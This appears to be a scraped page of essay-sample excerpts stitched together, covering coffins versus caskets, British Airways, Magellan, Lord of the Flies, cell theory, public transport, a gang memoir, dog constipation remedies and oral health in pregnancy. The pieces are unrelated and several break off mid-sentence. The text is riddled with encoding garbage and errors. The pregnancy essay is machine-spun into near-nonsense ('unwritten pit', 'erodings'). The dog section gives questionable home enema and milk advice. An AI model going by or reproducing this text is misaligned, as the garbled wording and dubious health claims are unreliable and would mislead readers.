The different between coffins and caskets - Research Paper Example It is mainly made of custom wood, particleboard or solid timber. Unlike that of caskets, the lids of the coffins come separate. The lid is then fitted into place with 4 to 6 plastic or metal screws. A coffin could have 4 or 6 handles. They are available in the different styles such as: Particle board with stain or veneer, Particleboard /Custom wood plain, Solid Timber, Particle board, painted with a matt or gloss paint and Particle board with surrounding paper design among others (Funeral Line Australia). In shape, a casket is more of rectangular with the same height and width from head to foot. It is commonly made of solid metal or wood. The lid is attached to the coffin with hinges on one side. However, some lids are designed in two sections to assist viewing of the corps. Caskets are traditionally larger in size compared to coffins and come in different designs. They may either have a handle bar or individual handles. Caskets are available styles of caskets are namely; Cardboard Casket, Rental Casket (particleboard capsule, in a sold timber outer shell), Solid Timber and Metal Casket among others (Funeral Line Australia). The most popular selections available for both caskets and coffins are in plain white or a wood grain finish. Some funeral enterprises may offer custom options, whereby the family can choose between a casket and a coffin painted in a certain color or design. This comes at an extra charge for these options. Values of caskets are affected by; production method, materials used for construction and /or styles of caskets (fcpr.fsu.edu). Below is an image of a 14-karat gold casket. It was on displayed in 2010 at Malaysia’s National Museum of Kuala Lumpur. This casket has vents and silk lining inside and safety lock systems. Tit was valued at RM 500,000 or $217,400. The above casket was modeled after The Promethean (Below) which is one of the most expensive and famous

The Transformation Change in British Airways Case Study

The Transformation Change in British Airways - Case Study Example Divisional al differences were very evident taking into consideration that there were two chairmen, different set of executives, and detached marketing strategies.  Divisional differences were very evident taking into consideration that there were two chairmen, different set of executives, and detached marketing strategies.   2. These were the issues faced by BA in order to survive and to be a competitive player in the airline industry.   In terms of the change order, it can be inferred that the second-order change was implemented as evidenced by their significant reengineering of business focus and strategic direction. Previously, BA was very product-oriented and their main concern was â€Å"flying the British flag†. Their initiative was more on engineering,  and increasing plane routes in Europe. They forgot the critical importance of customers in the equation hence customer dissatisfaction became synonymous with the name BA. In contrast, the new direction taken by L ord John King and Mr. Collin Marshall gave more emphasis on the human aspect of business embodied in the universal term called customer service and satisfaction. These efforts fundamentally altered the way of thinking and doing business in BA.   3. Culture and people played the major levers used to effect the new direction. On the side, systems lever was also re-engineered to put more emphasis on service marketing and reward systems. The important first step was to break the previous product-oriented culture and to infuse the value of customer service as the new way of doing business. Several programs were implemented and very notable was PPF or Putting People First wherein employees were trained to gauge customer service in different perspectives and different settings. This helped employees to be emphatic in implementing the customer service efforts initiated by BA. As an offshoot of this program, several agenda like MPF (Managing People First), A Day in the Life, Brainwaves, To Be the Best, and Awards for Excellence were introduced with the objective of enforcing the significance of customer satisfaction and rewarding those who implement the programs religiously.

High-School Classes on English Composition Essay

High-School Classes on English Composition - Essay Example To play it safe, I always ended up writing something in the third person, recounting events and human experiences as if they are affixed permanently to the past. As these exercises were also for the evaluation of how well I have assimilated the grammatical concepts of the language, there was not much protest from my part and I never felt restricted regarding the expression of my thoughts and feelings through language. However, as I was exposed in due course of time to some of the great literary works our times, I noticed how language had been appropriated by many creative writers who have contributed to the evolution of language itself, over the centuries. Needless to say, my writing also has undergone a sea-change, especially with the help of the course that I have taken. Hemingway’s prose, which most people found in the beginning as an unacceptable, fragmentary one appealed to me as something that carries the raw and fresh force of a de-romanticized life. I have tried to create my own rules, which I confess would not have been possible without a clear understanding of the ways in which the language operates. Hence, as I am not wholly resentful of my high school teacher who made it sure that I learned all the tricks of the languages the conventional way, I have also ventured to explore the unfamiliar realms of it use. I have realized that I cannot set any norms in my writing pattern. There is no hard-and-fast rule as regards the writing-schedule in a day or the quality or quantity of writing. Though the writing exercises have been immensely useful to me, there had been times when I realized that writing systematically, ostensibly under deadlines, may not bring out the best from me. They may help me direct better, focus on my own weaknesses and strengths and lead to some sort of proactive self-research.

What to Do if Your Dog is Constipated

What to Do if Your Dog is Constipated Dog constipation is usually something that dog owners shouldn’t worry about as most of the dogs will likely be constipated at some point in their lives. Concisely, constipation is the inability of the dog to defecate normally. If your dog seems to be exhausting while passing his stools or maybe his stools are unusually hard, he probably is constipated. Normally, the body of the dog can deal with the problem on its own, but if constipation lasts over a few days, you need to take steps to ease the dog. Dog constipation- What to do if your dog is constipated? Can dogs get constipated to an extent that it becomes troublesome for the dog? The answer lies in the fact that constipation in dogs is a common occurrence due to the modern day diet they are given by their owners. In some cases, the constipation is so severe that it is impossible for the dog to pass tools without external help. My dog is constipated. What should I do? Well, here are few of the things you can do to offer immediate relief to your dog: Soak a washcloth in warm (not hot) water. Now, using this damp cloth put a little pressure on the stomach of the constipated dog, stroking downwards towards the anus. This action mimics the natural way a mother dog uses its tongue to help the puppy eliminate trapped gas and the waste accumulated in the stomach. Always keep lot of water near your pet as lack of water can put his kidneys at risk. In order to prevent constipation from happening, provide your dog with lots of vegetables in his meals. Many individuals use a variety of green vegetables with wetted dry dog food. Remember that exercise is a good remedy for constipation. Depending on the age and condition of the dog, a long walk or an energetic play does a fantastic job of reviving a sluggish bowel. Constipation is rare in puppies, but should your dog ever gets constipated, he can easily be comforted by the use of enema. An enema could be administered through a # 8 feeding tube, which is mounted on a syringe filled with around 3-4 cc of warm water (the amount depends on the size of the dog). Put small amount of KY Jelly (or petroleum jelly) on the end of this tube, and insert the tube into the dog’s rectum, perhaps an inch (again that depends on the measurements of the dog). Slowly push the plunger until the liquid formula has completely disappeared from the syringe. In just few minutes, you will get the desired results. Causes Symptoms of a Dog Constipated Causes of dog constipation A dog that is suffering from constipation spends more than usual in releasing his stools, as well as the resulting stools are small, round and hard. It certain that if your puppy is constipated, he is undergoing great trauma. One of the main reasons for constipation is insufficient water intake and too much gap between two potty breaks. With that said, here are some of major causes of constipation in canines: 1. Excessive Licking Excessive licking of hair can harden the hair, which might block the colon. You must find out the cause of excessive licking and eradicate it completely. 2. Consumption of foreign objects Consumption of foreign materials such as gravel, rocks, toys, dirt, bones and fabric can also contribute towards getting the dog constipated. If objects are abnormally large, they might injure the colon while the dog attempts to pass them. You might even need surgery to remove them. 3. Surgery Constipation is one among the several side effects of surgery. So, don’t be worried if your dog doesn’t have bowel movements for a few days after he has undergone a surgery. 4. Certain medications can cause temporary constipation Certain medications could cause temporary constipation in canines. Your veterinarian will almost certainly suggest a stool softener to resolve the problem. 5. A dog that shouldnt be constipated according to his medical reports must be checked for electrolyte disturbances. This could be a serious clinical characteristic of a metabolic disease that might have manifested in the dog. 6. Older dogs often have their prostrates enlarged. The prostate is located just beneath the colon. When it enlarges, it presses against the colon and reduces the width of the route it has for the passage of feces. Alternatively, there might be a tumor in the colon, narrowing the passage further. Neutering the dog and/or removing the tumor will generally correct such problems. Dog Constipation Symptoms How to tell if your dog is constipated? There are many signs and symptoms of constipation in canines that can easily be seen by those that are in close contact with the dog. Common symptoms One among the obvious symptoms of constipation is difficulty in defecation. This difficulty can manifest itself in a few different ways, including excessive stress and the inability to generate a bowel movement at all. Sometimes dogs release small amount of fluid from their anus after an effort. You can consider your dog as constipated if he does not have a bowel movement for more than two days. Additional symptoms Some dogs with constipated stomachs might still have the ability to release their stools; however, the stools they release are often very hard and dry. You might also notice the obvious pain that the dog feels (exhibited by whining, grunting and hunching) while defecating. The dry stools and constant straining might turn the anus red. In other instances, the stool contains blood and mucus. Symptoms of severe constipation In the advanced stages of constipation, dogs experience decreased appetite, give up eating completely or vomit a lot. They could also become bloated and lethargic due to compacted stools. Constipation might also cause depression in dogs. Many of them might stop responding to their favorite play activities and treats. If your dog is experiencing any one of these symptoms, call your veterinarian immediately. Some other symptoms A clear indication of constipation in pet dogs is visiting the toilet frequently with little success. Other noteworthy indications of constipation are listed below: Mental stress Loss of appetite Reluctant to do physical activities Increased whining Abnormal gait Difficulty in walking Abdominal distension Swelling and soreness in the anal region Painful bowel movement Straining while defecating Passing very hard stool Passing very difficult stools Dog Constipation Remedy Remedies for dogs with minor constipation What to give a dog for constipation that is not major? Below mentioned are some of the best treatments that are meant for minor constipation. In case the problem persists for more than seven days or perhaps the stool contains large amounts of blood or mucus, consult your veterinarian before starting any treatment. Make use of a stool softener Minor constipation can usually be treated with the help of a stool softener. Laxatives for dogs are easily available on most of the pet stores. Read and follow the instructions on the label to ensure that you never overdose your pet. Lubricate An old remedy for dog constipation that is still in use today is lubricating the colon of the dog. Veterinarians usually recommend mixing such lubricants in food instead of feeding raw. Make sure that you adhere to the dosage to prevent further complications. Change his diet Try adding fiber to your dogs food. The fiber will not be absorbed by the gastrointestinal tract of the dog due to which it stays in the large intestine, adding to the volume of the stool. This boost in volume conveys strong sensory stimulation to the colon encouraging it to release the stools. You can easily purchase high fiber diet recipe from the market, which can further improve the mobility in the colon. Give him milk Milk often helps in problems like constipation. A Dog that is reluctant to drinking plenty of water tends to drink milk easily. Give him a small bowl of milk and let him lap it up. The dog will initially have running stools, but this should solve the problem of constipation. Plenty of exercise and clean, freshwater To keep the enzymatic system of your dog healthy, you need to keep your dog moving. Regular exercise will assist in pushing the stool out of the colon. On top of that, make sure that the dog drinks plenty of fresh water. Providing your dog with plenty of fresh water and exercise are among some of the best home remedies for dog constipation. Remedies for dogs that are heavily constipated What can you give a dog for constipation? Well, there are several home remedies that can even provide relief to dogs that are heavily constipated. Below mentioned home remedies will not only relieve your dog off his problem, but will also help him maintain proper digestion. Add digestive enzymes and probiotics Adding probiotics and digestive enzymes to the diet of your dog can significantly improve his condition. They can also act as a preventive remedy for indigestion, which is what causes constipation as well as other conditions like diarrhea. Use a highly digestible, low ash residue diet Some colons would perform better when the volume of stools is less. In order to achieve this goal, a low ash residue diet is used. With this diet, the body is able to absorb most of the nutrients, leading to lower volume of stools. Many of the bigger dog food makers are promoting diets that produce lesser stools as a treatment for dog constipation. Switch to canned food for a short time Switch to canned food but for a brief time. In case your dog is fed on dry kibble for a long time, check out quality canned food for 2 days. As the canned food carries more moisture in it, it will be easier for your dogs intestines to move such food. Feed your dog with ginger and chicken or beef broth Having these two ingredients in your dog’s food can help you relieve him off his constipation. This is also among the most popular remedies for dog constipation. Ginger helps upset the stomach and the fat in broth gets things moving. Use olive or vegetable oil This is a home remedy that you should not give many times to your dog, for the reason that it causes diarrhea. However, in times of constipation, adding one tablespoon of oil in your dog’s food can get all the irritable stuff out. This is one constipated dog treatment that is followed by dog owners around the world. Give him canned pumpkin in pureed form Canned pumpkin in its pureed form is a great stool softener and a natural remedy for constipation. Canned pumpkin for dog constipation is also a known remedy for soothing upset stomachs in dogs. It is very rich in fiber and adding just a couple of teaspoons of pureed pumpkin to your dog’s food can often start to show results almost immediately. Dogs can also be allowed to eat just the pumpkin. If the problem persists for over a few days, and there is blood coming out of the dog’s anus or your dog is vomiting, the issue is serious enough to seek veterinarian’s help. Homemade dog food- Avoid digestive problems for your dog Figuring out how to make dog food might seem like a big investment of time and energy. However, this investment of time is not as big as it seems once you know the right ingredients, and what your dog loves the most. Knowing these two things will help you prepare a meal for your dog in no time. With that in mind, here are some of the benefits of feeding your dog with home made dog food: Your dog gets more nutrition per ounce of food Home cooked food is not much more expensive than the commercial food available in the market. Considering the fact that your dog is getting all the nutrients he needs and will live a healthy life, spending a little extra on home cooked food is worth the investment. You have full control over the ingredients of your dogs food With home cooked dog food, you have full control over the ingredients that are going into your dogs food. You can customize the food according to the deficiencies present in the dog. This is one big advantage of home cooked food. Home cooked food doesnt cause any allergies in dogs Many of the dog owners switch to natural ingredients because their dogs start to develop different kinds of food allergies. With home cooked food, no such issue exists. Using the right ingredients When you feed your dog with homemade dog food, you have full control over the kind of fiber that is going into your dog’s food. Regardless of the kind of recipe you are using, make sure that it has at least some of the below mentioned fibrous ingredients in appropriate proportions: Whole oats Wheat bran Raw sesame seeds Psyllium seed (like in Metamucil) Ground flax seed Buckwheat Brown rice Food groups to use in dog’s food Learning how to make pet food is very different from knowing the food groups that are best for the dog, and the quantity in which they are required. Proteins, vegetables, starches and even fruits are some of the important food groups that your dog needs to consume on daily basis to meet his nutritional needs. Your dogs veterinarian should be able to provide the necessary treatment for constipation. You just need to make simple variations in your dogs diet and do all that is required keep your dog’s digestive system working well. If symptoms are severe, your vet might use X-rays to determine the cause of constipation, and perform the procedures necessary for remedying the problem.

magellan :: essays research papers

In 1517 Ferdinand Magellan proposed to King Charles I of Spain for a fully funded expedition to find a western sea route to the Molaccan Islands. If Magellan could find an easy way through or around South America it would enable the Spanish to set up a profitable trade route with the Molaccans, known for its abundance of spices. On May 22,1518 King Charles I granted Magellan enough money to buy five ships. Over 250 men were divided up amongst the Trinidad, the San Antonio, the Conception, the Victoria, and the Santiago. The ships set sail on their journey on September 20, 1519 from a port in Sanlucar de Barrameda, Spain. The ships sailed south along the coast of Africa until they reached the equator. They then turned to head across the Atlantic Ocean toward northern Brazil. They reached South America at a city in Brazil called Recife. The fleet continued down the coast in search of a passageway through South America. Trades were made in Rio de Janeiro with Native Americans in December. Port San Julian in Argentina gave the crew winter shelter for five months. Shortly after resuming voyage, one of the ships was driven to shore and lost exploring an inlet. Just south of the 50th parallel, near Rio Santa Cruz, Magellan sent two of his four remaining ships to explore a large inlet. The ships returned two days later responding that they had been to three bays through narrow passages. Against advice, Magellan set out to sail through the strait. One of the ships gave up and set out to return to Spain. On November 28, 1520 Magellan’s fleet of the three remaining ships exited the strait into another ocean. The strait Magellan and his crew used is now called The Strait of Magellan. The new ocean was named the Pacific Ocean because it was very calm. This ocean had much more favorable weather than the last but was much larger than expected. The crew ran out of food shortly. Soon they ate the leather rope guards. Desperate to survive, the sailors ate sawdust and rats for 98 days. Many died of scurvy and malnutrition. Finally a small island in the west pacific was sighted. The ships stopped for food and to regain health. Magellan then sailed to Mindanao in the Philippines and on to Cebu Island. Although Spain did not immediately recognize the importance of the Philippines, they had become the greatest Spanish trading center in the East.

Lord of the Flies Homework Essay

Piggy is clearly a clever boy, but he is a victim too? How does the writer use him in the novel? Lord of the Flies is about a group of schoolboys stranded on an island. The boys have to fend for themselves and try to get rescued. One of the main characters in the book is Piggy. The second person we find out about on the island is Piggy. We never find out his real name because he was always called Piggy and at the beginning Piggy also says â€Å"They used to call me â€Å"Piggy†Ã¢â‚¬ . He said this to Ralph because he trusted him and wanted to build friendship with him. Ralph makes fun of him, which shows the first sign that he is a victim. When Golding first introduces Piggy, he is described as â€Å"the fat boy†, whereas Ralph is described as â€Å"the fair boy† and as an athletic person. This contrast between the two characters makes Piggy seem inadequate in comparison to Ralph. This consequently makes him a likely victim too. It also makes Piggy the most physically vulnerable character because he is overweight and has asthma. Golding uses Piggy as a representative of an adult on the island. Even though at the start he repeatedly talks about his aunt, â€Å"My auntie told me not to run†, which sounds very childish, but as the rules of civilisation fall away from the island, he does not mention his auntie any more. On several places throughout the novel Piggy wonders about what grownups would say. He longs for the order and structure that adults impose. On times when Ralph thinks about what will happen next Piggy says they just have to carry on because that is what grownups would do. When the boys go rushing off to light the fire on the mountain, Piggy describes them as â€Å"crowd of kids† and follows them with the â€Å"martyred expression of a parent†. These examples clearly show that Golding uses Piggy to replace the grownup world. Another example of his maturity is when he wants the shelters to be built, â€Å"The first thing we ought to have made was shelters down there by the beach†¦ Then when you get here you build a bonfire that isn’t no use. Now you been and set the whole island on fire†. This shows also that Piggy had common sense by wanting to build the shelters on the beach first, which might be boring, but better than the doing exciting things first like the other boys think. The writer also uses Piggy as a symbol of intelligence and civilisation. This however did not benefit the rest of the boys directly. If this was the case, he probably would not have been victimised at the end. The main reason for this might be that he did not have any leadership qualities, as an obese person, having asthma and wearing glasses would not be able to do certain things. His look did not fit into the profile of a powerful leader and he did not have the charisma a leader needs. Instead of this Piggy’s intelligence was used and published by Ralph, which left him with nothing to tell the group that they would recognise. This made Piggy even more of a victim because nobody apart from Ralph really noticed Piggy’s intelligence. Ralph needed Piggy and that is why he was able to notice his intelligence. Piggy was someone who reminded Ralph back to civilisation when his thoughts began to drift away. Piggy knows all sorts of things like at the beginning he finds and also tells Ralph how to use the conch and that it would make a noise, which would then call all the boys together. This also shows his intelligence. The physical appearance of Piggy is his biggest fallback of his ideas he puts into the assemblies. Often his ideas are completely ignored, because nobody recognises how important they might be. Because Piggy is very sensitive too and Jack continuously bullies him, he does not get any respect from the other boys. The fact that Jack is successful in doing this to Piggy, other boys get frustrated and choose to ignore him and follow Jack’s influence. Once rules are established, in Piggy’s eyes, breaking them is unthinkable because he stays civilised throughout the whole novel. On several places in the book he says â€Å"I’ve got the Conch. Let me speak† and a lot of referring to the conch because he sees the conch as an important symbol unlike the other boys. Whereas the other boys on the island do not care about rules at all Piggy cares a lot about them. He is unable to adapt the living without law and order and does not comprehend why the other boys can. Piggy gets killed in the end because Jack’s tribe gets fed up with Piggy and his importance of the conch and rules. By the treatment of Jack’s tribe towards Piggy Golding wants to show that a society also needs a scapegoat. The boys choose Piggy because of his physical appearance and because they do not understand his intelligence and the need of it. By picking Piggy as the scapegoat they make themselves feel better. Jack, who bullies him most, also slaps him on the mountain because he knows that Piggy will not be able to take revenge on him as Piggy is a fat boy having asthma. This makes Piggy a victim too, because it shows that everyone on the island could do anything to Piggy without worrying that he might not revenge. Even the name ‘Piggy’ makes him a victim. I think Golding called him so because he is the victim of the island. His name is used as he is the prey of the island just like the pigs that are killed for food. This is done to show how society victimises people. In conclusion Piggy’s character is the symbol of civilisation and intelligence. He mainly becomes a victim because of his physical appearance and his inability to do certain things because of his asthma. I think Golding chose to victimise Piggy because he wanted to make the reader feel sympathy towards a civilised, kind and intelligent character, no matter how his physical appearance is.

Journal Topics for Self Understanding

Journal Topics for Self Understanding The following journal topics all are geared to help students learn a little more about themselves as they grow in self-understanding. In addition to the topics listed below, associative writing, the writing of thoughts as fast as they come to mind without worrying about sentence structure or punctuation, may be particularly helpful when a student is troubled or experiencing writers block. When I need time for myself...If I could live anywhereI really miss...I never expected...An unusual day in my lifeFor my birthday Id like...The worst gift I ever got...I daydream most about...I really wish....Something few people realize about meI wish I werent so...One of my best points is...One of my most important goals is...I dream that one day...My hardest class isWhat makes me feel proud isIm glad Im alive whenSome little things I often forget to enjoyAssociative Writing: Associative writing, also called free writing, requires that the student writes his or her thoughts as fast as they come to mind with no attention to sentence structure or punctuation. The technique may be particularly helpful when a student is troubled or suffering from writers block. Although I like to teach students how and when to use associative writing, I prefer that they do it outside of class and not as an English assignment.

Cell Theory essays

Cell Theory essays Cell theory- all organisms are made of one or more cells and the products of those cells. An organism may be a single cell, such as a bacterium, or many cells organized to function together as in an animal or plant. In many celled organisms, there may be intercellular material made by the cells. All cells carry on life activities. The life activities of a many celled organism are the combined result of the activities of its individual cells. New cells only arrive from other living cells by the process of cell division. This is where the DNA is kept and RNA is transcribed. RNA is transported out of the nucleus through the nuclear pores. Proteins needed inside the nucleus are transported in through the nuclear pores. The nucleolus is usually visible as a dark spot in the nucleus (note the dark nucleolus in this electron microscope photo of a nucleus), and is the site of ribosome formation. Ribosomes are the sites of protein synthesis, where RNA is translated into protein. Protein synthesis is extremely important to cells, and so large numbers of ribosomes are found throughout cells (often numbering in the hundreds or thousands). Ribosomes exist floating freely in the cytoplasm, and also bound to the endoplasmic reticulum (ER). ER bound to ribosomes is called rough ER because the ribosomes appear as black dots on the ER in electron microscope photos, giving the ER a rough texture. These organelles are quite small, made up of 50 proteins and several long Ranks intricately bound together. Ribosomes have no membrane. Ribosomes disassemble into two subunits when not actively synthesizing protein. Mitochondria (singular: mitochondrion) are the sites of aerobic respiration, and generally are the major energy production center in eukaryotes. Mitochondria have two membranes, an inner and an outer, clearly visible in this electron microscope photo of a mitochondrion. Note the reticulations, or many enfolding, of the inner...

Middle school and their teachers views of mental health Essay

Middle school and their teachers views of mental health - Essay Example This paper presents a critique of the perceptions, views, perspectives, understanding and attitudes of middle school pupils and teachers on mental health. It highlights what they think or how they perceive mental health concept, positive mental health, negative mental health, psychological needs, and mental health problems in the adolescence years, the risk and resilience factors as well as the causes of mental health. The paper also presents a review of literature in regard to the teachers’ role in promoting students’ mental health, the risk and resilience factors and students mental health problems in secondary school as well as identifying these problems early. It also reviews studies about mental health education curriculum and programs designed and applied in school in order to promote students’ mental health especially fro middles schools in Australia, UK, Canada, Finland and the US, such as SEAL, LEAs and PATH among others. The pupils’ attitudes and perceptions of mental health are influenced by the beliefs of the public and the communities from which they come from regarding mental health. Children acquire the wrong information regarding the unworthy nature of people with mental health problems. Generally, members of the public and parents tend to isolate their children from people with undesirable symptoms of mental health thereby instilling a negative attitude in their children. It is therefore common for adolescents to come to school with pre-determined judgment regarding mental health. Dalton et al. (2007) argue that the negative attitudes instilled in the adolescents may become more intense as they grow to adulthood if measures are not taken to change their beliefs. These perceptions lead to low self-esteem and feelings of rejection. The adolescents usually view mental health problems as a disadvantage that hinders the affected peers from accomplishing the tasks that are assumed to be

Engineering project management Assignment Example | Topics and Well Written Essays - 750 words - 1

Engineering project management - Assignment Example ble (installing a new machine’s base) will not be produced on time and with budget if necessary corrections actions are taken on time (Panneerselvam & Senthilkumar 2009). However, according to company, the project must go on and the base must be completed on time otherwise the organization will suffer dire consequences which may include losing its customers. It is therefore it is suggested that in order that the expanded project is completed on time, adjustments must be made of the project cost. That is, the organization and/or the contractor should employ more man power and equipment to work on the project within remaining period of time. This increase the rate at which the work will be done and increasing chances of completing the project on time. (Word count: 218) Due to safety concerns associated with asbestos, the scope of the project is likely to be changed (removal of the existing duct and its contents). The changing of the scope would mean that other constrains such as time and cost will be adjusted accordingly (Kanda 2011). This means that the project deliverable (installing a new machine’s base) will not be produced on time. The consequence of not completing this project on time is dire to the company since the organization might lose an important order, and due to the cost investment made on the new equipment the organization might be forced to close down. This means that delaying the installation of the base of the new machine is not an option for the organization. Employees are amongst the most important elements for organizations; therefore, there health should be made priority (CCH 2009). In addition, safety of environments in which employees work must conform to occupational safety and health standards (Lingard & Rowlinson 2005). Compromising the health of workers by making them work alongside these asbestos ducts would affect health, and consequently their productivity will also be affected (CCH 2009). The organization may also risk being

Memo Essay Example | Topics and Well Written Essays - 500 words - 12

Memo - Essay Example It is during this time that the company was confirmed to have increased its earnings in a profit margin of 50% as compared to 25% in the previous years. As a result, the CEO rewarded me for the contribution I had made for the two years through my hard work and diligence while working with the company, affirming that the company had a tremendous increase in profit during my tenure. Needless to say, this is one of the achievements I am still proud of to date. Moreover, before I came to the U.S from Saudi Arabia I used work with one of the biggest Oil Companies (Saudi Aramco) in the country. My job description was a manager, with the responsibility of overseeing 65 employees out of the total 300 working under my supervision. Consequently, I would like to retaliate that the responsibility of supervising 65 employees particularly in the production department of an Oil company is not easy but requires patience, understanding and motivation of the employees in order to increase productivity and maximize on profit. Finally, I have engaged myself in a number of community services in the last few years since I completed grade school. To begin with, I am a member of ‘Keep it Clean’ initiative which has over a hundred volunteering members who clean recreation parks and public amenities around busy cities in San Diego three or four times a week depending on the weather. Secondly, I belong to a very young youth initiative known as ‘Clear the road and save time’ that began three months ago with the aim of assisting the few traffic personnel present on the roads in easing traffic jams on major roads in Washington D.C. Since it is volunteer work, I ensure that I dedicate two hours of my day to the initiative. Similarly, I have strictly dedicated my free time to assisting lost people and locating their intended destinations. This idea came up after I realized that

Public transport Essay Example for Free

Public transport Essay Public transport can be described as a shared service of passenger transportation readily available for public use. Modes of public transport in many modern cities include trains and trams, buses, trolley buses, ferries and rapid transit. Public transport is necessary to economic and social development, with easy movement of people, goods and services. Increased number of motor vehicles in the modern cities carries both economic and social costs evidenced by increased air pollution. Air of poor quality can serious affect the health of the public and can result to premature deaths. Public transport is said to be the key of reducing air pollution in the urban cities in the following ways: reduced emission of carbon monoxide, reduced emission of nitrogen oxide and carbon dioxide emission, reduced emission of the volatile organic compounds and minimized fossil fuel consumption. Studies have shown that private vehicles, which are mainly petrol-powered, emit carbon monoxide, lead, benzene and lead which are detrimental to the air in our cities (European Environment Agency 2010). Still, due to the large number of this private vehicles, they are bound to emit this pollutants in high amounts compared to public transport. It is clear that, in order to reduce the air pollution and especially the concentration of carbon monoxide in our cities, there is need for people to rely much on public transport rather than the private vehicles. Nitrogen oxide and carbon dioxide emitted on the environment. Study conducted by the American enterprise institute and Brookings institution in 2002 showed out that the quantity of nitrogen oxide and carbon dioxide emitted by the private vehicles was about double the amount emitted by the public transport for every mile traveled by a passenger (European Environment Agency 2010). Use of public transport can reduce carbon footprint of an individual. Another study in the year 2005 showed that the use of public means rather than the private means could have reduced the carbon dioxide emission in the United States by 3. 9 million of metric tones. So it is much possible that, reducing air pollution in our cities can be achieved by depending more on the public transport. On other organic volatile compounds, the same study showed that the private vehicles could emit 92 percent more organic volatile compounds than the public vehicles as compared to mile traveled by each passenger. Efforts of reducing air pollution in our cities should focus on how to minimize usage of private vehicles in transport and also encourage use of the public means in transport. The same studies by the same two institutes showed out that in United States, public transport only used half of the fuel which was required to fuel the private vehicles. The more fossil fuel is used, the more emission of pollutant air is likely to emit in the environment, so in order to reduce the air pollution in our cities, there is need to encourage use of public transport. Public transport is very vital in our cities especially in achieving the global war on reducing air pollution which can result to global warming. Efforts need to be put in place to ensure that people use much the public means in most of their traveling because it will reduce air pollution in our cities as well as reducing the urban congestion of vehicles and also reduce the overdependence of energy imports. Bibliography European Environment Agency, 2010, Sources of Air pollution, Viewed July 27, 2010 http://www. eea. europa. eu/publications/2599XXX/page010. html

L.A. Gang Member by Sanyika Shakur Essay -- Monster Autobiography L.A.

L.A. Gang Member by Sanyika Shakur Kody Scott grew up in South Central L.A. during the nineteen-sixties and seventies, soon after the creation of the Crips. Raised in poverty without a father, and a full family raised solely by his mother, Kody Scott led the stereotypical â€Å"ghetto† life, a poor and broken home. However he does not blame this on his own personal decision to join the Crips while only eleven year’s old. The allure of the respect and â€Å"glory† that â€Å"bangers† got, along with the unity of the â€Å"set†(name for the specific gang) is what drew him into the gang. Once joined, he vowed to stay in the â€Å"set† for life, and claimed that banging was his life. After many years of still believing this, he eventually realized that the thug life was no longer for him, and that gangs were a problem on society and the â€Å"Afrikan† race(page 382-383). In his book â€Å"Monster: The Autobiography of an L.A. Gang Member†, he tells of his life story and how he came and left the gang life. For thirteen years he was a member of the Eight Tray Gangsters, a set of the Crips, and throughout the book he explains, sometimes in full detail, the life he led while in the gang and his many times in jail and prison. These life stories he tells, include drive-byes, shootouts in supermarkets, parks, streets, houses etc., fist fights, group beatings, kidnapings, doing drugs, selling drugs, car-jacks, amputation, robbery, friend’s deaths, enemies’ deaths, being shot, knife fights, police abuse, jail riots, jail rapes and any other part of the gang life possible. Now if possible, imagine that this all happened within thirteen years, and to a teenager. These crimes, more specifically the brutal ones, are what got him his nickname â€Å"Monster Kody†. None of this really affected him though, until when in jail, he was c onverted to a Muslim, when he changed his name to Sanyika Shakur. However, it took him a while to realize that what he was doing was wrong and it was not what he wanted to do for the rest of his life. Although he now realized this, it wasn’t because of religion really, but more for the survival and advancement of the â€Å"Afrikan† race, as he was now becoming more and more politically and morally conscious(page 277). After coming and going out of prison, he was struggling between the two lives he was trying to lead, one as a banger and the other as a leader for the â€Å"Afrikan†... ...left the gang life behind in order to raise his family in a safer environment and also to settle his conscience down and feel better about himself. In conclusion, Kody Scott a.k.a. Sanyika Shakur, used this book as a tool to help let society know the dangers of the gang life, and possibly some advice to help prevent gangs from growing and spreading, and also to prevent his past from becoming somebodies future. Which is best summed up in his last paragraph from the book in which he states: â€Å"How do we come to grips with the fact that this thing has gotten way too real, out of control like some huge snowball running down a hill, threatening to smash and kill all in it’s path, including those who originally fashioned it? Time is of the essence, and every thinking person with a stake in life-especially those involved in the fighting-should put forth an effort, something more concrete than a â€Å"media truce,† to deal with this tragedy. The children deserve to have a descent childhood where they live. They shouldn’t have to be uprooted to the suburbs to experience peace. We cannot contaminate them with our feuds of madness, which are predicated on factors over which we have no control.†

Oral Diseases During Pregnancy Health And Social Care Essay

Pregnancy is a delicate status affecting complex physical and physiological alterations. Pregnancy constitutes a particular physiological province characterized by a series of impermanent adaptative alterations in organic structure construction, as the consequence of an increased production of estrogens, Lipo-Lutin, gonadotrophins, and relaxin, among other endocrines. The unwritten pit is besides affected by such endocrinal actions, and may show both transient and irreversible alterations every bit good as alterations that are considered pathological [ 1 ] . Pregnant adult females are peculiarly susceptible to gingival and periodontic disease. In this context, different unwritten lesions are reported to be common during gestation. In consequence, an increased prevalence of dental changes excessively has been documented, including peculiarly cavities and erodings [ 2 ] . The biochemical and hormonal alterations of gestation enhance the hazard. Since the old married womans ‘ narrative of â€Å" the loss of a tooth for every gestation, † unwritten wellness during gestation has long been a focal point of involvement [ 3 ] . Vergnes and Sixou [ 4 ] , in their systematic, a meta-analytic reappraisal of 17 articles concluded that there was a statistically important association between periodontal disease and inauspicious gestation results. Perinatal mortality rates in Pakistan and many other developing states are more than 10-fold greater than in developed states. In a survey on periodontic disease and inauspicious birth results in pregnant Pakistani adult females, it was found that they have high degrees of moderate-to-severe dental disease. It was concluded that spontaneous abortion and neonatal and perinatal deceases increased with the badness of periodontic disease [ 5 ] . Patients, doctors, and tooth doctors are cautious, frequently avoiding intervention of unwritten wellness issues during gestation. This job is compounded by a deficiency of clinical guidelines for the direction of common unwritten conditions in gestation. In the absence of pattern guidelines, fright of medico legal action based on negligent or deficient intervention of unwritten conditions during gestation abounds, but it is mostly baseless [ 6 ] . In add-on to a deficiency of pattern criterions, barriers to dental attention during gestation include unequal dental insurance, relentless myths about the effects of gestation on dental wellness, and concerns for fetal safety during dental intervention [ 7 ] . Common PROBLEMS DURING PREGNANCY Oral lesions: During gestation, the unwritten pit is exposed more frequently to gastric acid that can gnaw dental enamel. Morning illness is a common cause early in gestation ; subsequently, a slack esophageal sphincter and upward force per unit area from the big womb can do or worsen acerb reflux. Patients with terrible purging can hold enamel erodings. Rinsing the oral cavity with a teaspoon of baking sodium carbonate in a cup of H2O or using tooth mousse ( casein phosphopeptide formless Ca phosphate ) on the dentition after purging can neutralize acid. Pregnant adult females should be advised to avoid brushing their dentitions instantly after purging and to utilize a toothbrush with soft bristles when they do brush to cut down the hazard of enamel harm. Fluoride gargle can protect eroded or sensitive dentitions. Dental Cavities: 